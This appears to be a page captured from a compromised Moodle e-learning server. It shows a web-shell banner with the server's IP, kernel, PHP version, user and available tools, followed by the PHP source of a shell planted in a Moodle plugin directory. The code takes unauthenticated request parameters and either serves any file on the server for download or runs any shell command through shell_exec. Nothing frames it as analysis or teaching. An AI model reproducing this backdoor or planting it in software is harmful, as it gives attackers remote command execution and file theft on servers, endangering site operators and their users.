| Server IP : 41.63.0.143 / Your IP : 216.73.216.184 [ Web Server : Apache/2.4.29 (Ubuntu) System : Linux elearning 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.2.24-0ubuntu0.18.04.17 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals, Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/moodle/local/moodle_webshell/ |
Upload File : |
<?php
$action = $_REQUEST["action"];
if ($action == "download") {
$path_to_file = $_REQUEST["path"];
if (file_exists($path_to_file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($path_to_file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: '.filesize($path_to_file));
flush();
readfile($path_to_file);
die();
} else {
die("Error: File not found.");
}
} elseif ($action == "exec") {
$command = $_REQUEST["cmd"];
$stdout = shell_exec($command);
header('Content-Type: application/json');
echo json_encode(array('stdout' => $stdout, 'exec' => $command));
}
?>